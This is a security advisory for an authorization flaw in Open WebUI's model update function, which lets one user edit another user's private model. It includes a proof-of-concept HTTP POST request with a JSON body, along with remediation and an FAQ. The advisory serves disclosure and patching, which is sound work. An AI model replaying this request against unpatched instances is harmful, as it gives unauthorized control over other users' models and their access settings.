CVE-2026-45345: Open WebUI: Missing authorization check at the model update function - models from other users can be updated
Summary A user can modify another user's model even if its visibility is set to Private. The finding resulted from a penetration test for a customer. It is suspected that the root cause of the issue lies within the core of Open WebUI, which is why it is being reported as a security issue here. Tested on Open WebUI 0.5.4.
Details / PoC The user Victim created a private model with the visibility set to private: !grafik
The user Attacker can edit this model using the following POST request: POST /api/v1/models/model/update?id=aaabraaa HTTP/2 Host: domain.local //Some headers removed Te: trailers
{"id":"aaabraaa","basemodelid":"gpt-4o-POC","name":"testmodel","meta":{"profileimageurl":"/static/favicon.png","description":"","capabilities":{"vision":true,"usage":false,"citations":true},"suggestionprompts":null,"tags":[],"toolIds":["test"]},"params":{},"userid":"565c82e6-083f-42bb-bf0f-a4e214cfb9ad","accesscontrol":{"read":{"groupids":[],"userids":[]},"write":{"groupids":[],"userids":[]}},"isactive":true,"updatedat":1737314575,"createdat":1737121281} Request / Response !grafik
Impact A user can modify another user's model even if its visibility is set to Private. By changing the access permissions during editing, unauthorized access can be gained.
Other sources
Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to 0.5.7, a user can modify another user's model even if its visibility is set to Private. By changing the access permissions during editing, unauthorized access can be gained. This vulnerability is fixed in 0.5.7.
— MITRE
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
pip/open-webuito a version that resolves this vulnerability.Fixed in 0.5.7 - Upgrade
Upgrade
Open WebUIto a version that resolves this vulnerability.Fixed in 0.5.7
Event History
Frequently Asked Questions
What is the severity of CVE-2026-45345?
The severity of CVE-2026-45345 is classified as medium with a score of 6.5.
How do I fix CVE-2026-45345?
To fix CVE-2026-45345, ensure that proper authorization checks are implemented for model updates to prevent unauthorized access.
What types of attacks can exploit CVE-2026-45345?
CVE-2026-45345 can be exploited by users modifying models owned by others without proper authorization checks.
Which software is affected by CVE-2026-45345?
CVE-2026-45345 affects Open WebUI, specifically in the context of model update functions.
What is the potential impact of CVE-2026-45345?
The potential impact of CVE-2026-45345 includes unauthorized modification of private user models.